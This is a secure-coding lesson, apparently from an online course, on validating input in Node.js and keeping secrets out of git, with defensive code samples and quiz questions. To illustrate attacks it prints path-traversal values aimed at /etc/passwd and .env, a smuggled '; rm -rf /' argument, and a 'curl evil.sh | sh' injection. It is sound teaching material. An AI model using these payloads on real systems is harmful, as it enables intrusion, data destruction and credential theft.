Input validation and handling secrets
Every external input is hostile until a schema at the boundary turns it into a typed value. Each injection class has one defense: parameterized queries, an argument array instead of a shell, a base-dir check for paths, bounded input for ReDoS. Secrets stay in env and out of git.
An internal admin endpoint took a ?file= query param and did res.send(await readFile("./reports/" + req.query.file)). It shipped on a Friday. By Monday someone had requested ?file=../../../../etc/passwd and walked straight out of the reports directory, then ?file=../../.env and pulled the production database password — which had been committed to the repo a year earlier and was still valid. Two separate sins compounded: user input concatenated into a file path, and a secret that lived in git history forever. Neither was an exotic exploit. Both were the absence of a single boundary that should have rejected, resolved, and refused.
Validate at the boundary, parse don’t validate
Treat every byte that crosses your process edge — request body, query string, route params, headers, even environment variables — as hostile until proven otherwise. The senior discipline is parse, don’t validate: at the door, run the raw input through a schema (zod, ajv, Joi) that asserts type, range, length, and an allowlist of shapes, and hand the rest of the code a typed value it can trust. If the input doesn’t match, reject it with a 400 — don’t silently “sanitize” by stripping characters, because sanitization quietly mutates attacker input into something that may still be dangerous and is now also wrong.
import { z } from "zod";
const CreateUser = z.object({
email: z.string().email().max(254),
age: z.number().int().min(13).max(120),
role: z.enum(["member", "admin"]), // allowlist, not a freeform string
});
app.post("/users", (req, res) => {
const parsed = CreateUser.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: "invalid" });
createUser(parsed.data); // parsed.data is fully typed and trusted
});One more boundary control belongs here: cap the body size. An unbounded JSON body lets an attacker send hundreds of megabytes and exhaust memory — a trivial denial-of-service. Set a limit (express.json({ limit: "100kb" })) so the parser rejects oversized payloads before they reach your heap.
The injection family: one defense per kind
Most of the OWASP Top 10’s “Injection” category collapses to one rule: never let untrusted data become code. Each channel has exactly one correct defense, and they are not interchangeable.
| Threat | Vector | The one defense |
|---|---|---|
| SQL injection | input concatenated into a query string | parameterized queries / prepared statements |
| Command injection | exec with an interpolated shell string | execFile/spawn + argument array, no shell |
| Path traversal | req.params.file joined into a path | path.resolve + verify under an allowed base |
| ReDoS | catastrophic regex on attacker input | linear patterns + bound input length |
For SQL, the fix is parameterized queries: the driver sends the query text and the values over separate channels, so the database never parses your data as syntax. For shell commands, avoid a shell entirely — child_process.execFile/spawn with an argument array passes each arg as a literal, so a value like ; rm -rf / is just a weird filename, not a second command. For paths, resolve to an absolute path and confirm it still lives under your base directory. For ReDoS, a nested-quantifier regex like /^(a+)+$/ can backtrack catastrophically on a long crafted string and pin the single thread for seconds to minutes.
import { execFile } from "node:child_process";
import path from "node:path";
// ✅ SQL: values travel separately from the query text
await db.query("SELECT * FROM users WHERE email = $1", [email]);
// ✅ command: arg array, no shell — input can never become a new command
execFile("convert", [userPath, "-resize", "100x100", outPath]);
// ✅ path: resolve, then prove it stays under the base dir
const base = path.resolve("./reports");
const full = path.resolve(base, req.params.file);
if (!full.startsWith(base + path.sep)) return res.sendStatus(400);▸Why this works
Why is spawn(..., { shell: true }) dangerous when the array form is safe? With shell: true (and always with exec), Node hands your string to /bin/sh -c, which re-parses it — so ;, |, $(), and backticks become shell metacharacters again, and file.txt; curl evil.sh | sh runs two commands. The argument array bypasses the shell: the kernel execves the binary directly with each array element as one untouched argv entry. No re-parsing, no metacharacters, no injection surface.
Secrets: env in, never in git
A secret is anything that grants access — DB passwords, API keys, signing keys, tokens. The non-negotiable rules: never hardcode and never commit them. Read configuration from process.env; for local development, load a .env file with Node’s built-in node --env-file=.env (available since Node 20.6) or the dotenv package — and add .env to .gitignore so it never enters the repo.
# local dev: load env without any dependency (Node 20.6+)
node --env-file=.env server.js// read at startup; fail fast if a required secret is missing
const dbUrl = process.env.DATABASE_URL;
if (!dbUrl) throw new Error("DATABASE_URL is not set");In production, don’t ship .env at all — use a secrets manager (HashiCorp Vault, AWS Secrets Manager, Doppler) that injects values at runtime, so secrets are never at rest in your image or repo. Three habits separate a hardened service: don’t log secrets (redact tokens before they hit a log line), rotate on exposure (a committed .env is a permanent leak — it lives in git history even after you delete the file, so you must rotate the credential, not just git rm it), and apply least privilege so a leaked token can do as little as possible.
A service must run an external image tool on a filename that came from a user upload. Which way of invoking it is safe?
Why does a parameterized query (db.query('... WHERE email = $1', [input])) stop SQL injection, while string concatenation does not?
You need to run a CLI tool on a user-supplied argument. Why is execFile('tool', [userArg]) safer than exec(`tool ${userArg}`)?
Order how a request enters a hardened endpoint, from the edge inward:
- 1 Cap the body size so an oversized payload is rejected before parsing
- 2 Schema-validate the parsed body, rejecting invalid input with a 400
- 3 Use the now-typed value in a parameterized query — never string-concatenated SQL
- 4 Run any external command with execFile + an argument array, no shell
- 5 Act with a least-privilege token read from env, never a hardcoded secret
- 01Why is deleting a committed .env file not enough, and what must you do instead?
- 02What is the difference between validating input and sanitizing it, and why does this lesson prefer reject-on-invalid?
The whole of input security is one boundary: treat every external byte — body, query, params, headers, env — as hostile, and at the edge run it through a schema (zod / ajv / Joi) that asserts type, range, length, and an allowlist, rejecting what fails with a 400 rather than silently sanitizing. That turns raw input into a typed, trusted value once (parse, don’t validate), and you cap body size so an oversized payload can’t exhaust memory. From there, each injection class has exactly one defense: SQL → parameterized queries, where values travel separately from the query text so data is never parsed as syntax; command → execFile/spawn with an argument array and no shell, so input can’t become a second command (and shell: true re-opens the hole); path traversal → path.resolve plus a check that the result stays under an allowed base dir; ReDoS → linear patterns and bounded input length, since a nested-quantifier regex can pin the single thread for seconds. Secrets follow their own discipline: read from process.env, load local config with node --env-file=.env (Node 20.6+) or dotenv while keeping .env in .gitignore, use a secrets manager in production, never log secrets, apply least privilege, and remember that a committed secret is a permanent git-history leak you must rotate, not merely delete. Now when you see a ?file= param being joined into a path, or a secret hardcoded in a config, you know exactly which boundary is missing and what the one fix is.
Practice
Start at the top. Tasks go easiest → hardest: recall a fact, apply it to a case, then a senior-level stretch. Open one, attempt it, then reveal.
Something unclear?
Ask a question about this lesson. Questions are anonymous and go straight to the author to make the lesson better.